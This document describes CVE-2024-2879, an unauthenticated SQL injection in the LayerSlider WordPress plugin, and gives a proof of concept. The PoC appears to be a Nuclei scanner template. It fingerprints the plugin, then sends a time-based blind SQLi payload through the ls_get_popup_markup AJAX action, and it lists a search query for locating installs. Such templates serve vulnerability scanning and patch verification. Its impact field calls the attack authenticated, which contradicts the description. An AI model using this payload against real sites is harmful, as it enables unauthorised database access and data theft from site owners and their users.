The LayerSlider plugin for WordPress is vulnerable to SQL Injection via the ls_get_popup_markup action in versions 7.9.11 and 7.10.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
PoC
id: CVE-2024-2879
info:
name: WordPress Plugin LayerSlider 7.9.11-7.10.0 - SQL Injection
author: d4ly
severity: high
description: |
The LayerSlider plugin for WordPress is vulnerable to SQL Injection via the ls_get_popup_markup action in versions 7.9.11 and 7.10.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
impact: |
Authenticated attackers can execute arbitrary SQL queries, potentially extracting sensitive data or compromising the database.
remediation: |
Update LayerSlider plugin to version 7.10.1 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-2879
- https://www.securityblue.team/blog/posts/Critical-Vulnerability-in-WordPress-Plugin-LayerSlider
- https://www.wordfence.com/blog/2024/04/5500-bounty-awarded-for-unauthenticated-sql-injection-vulnerability-patched-in-layerslider-wordpress-plugin/
- https://layerslider.com/release-log/
- https://www.wordfence.com/threat-intel/vulnerabilities/id/3fddf96e-029c-4753-ba82-043ca64b78d3?source=cve
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2024-2879
cwe-id: CWE-89
epss-score: 0.18402
epss-percentile: 0.97082
cpe: cpe:2.3:a:layerslider:layerslider:7.9.11:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: layerslider
product: layerslider
framework: wordpress
publicwww-query: "/wp-content/plugins/LayerSlider/"
tags: time-based-sqli,cve,cve2024,wp-plugin,wp,wordpress,layerslider,sqli,vuln,vkev
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/LayerSlider/assets/static/public/front.css"
matchers:
- type: word
internal: true
words:
- ".ls-clearfix:before"
- raw:
- |
@timeout: 10s
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))x)--+x) HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- duration>=6
- status_code == 200
- contains(body, "<script>")
condition: and
# digest: 4a0a00473045022059ecbee4c84b4b626700e37690433598ad9f69756152e396c6e0ff1a90b13e62022100c7e7eaf0733a48d439f98b640637e7e670154ab82a7659984aa0d240587e9a42:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.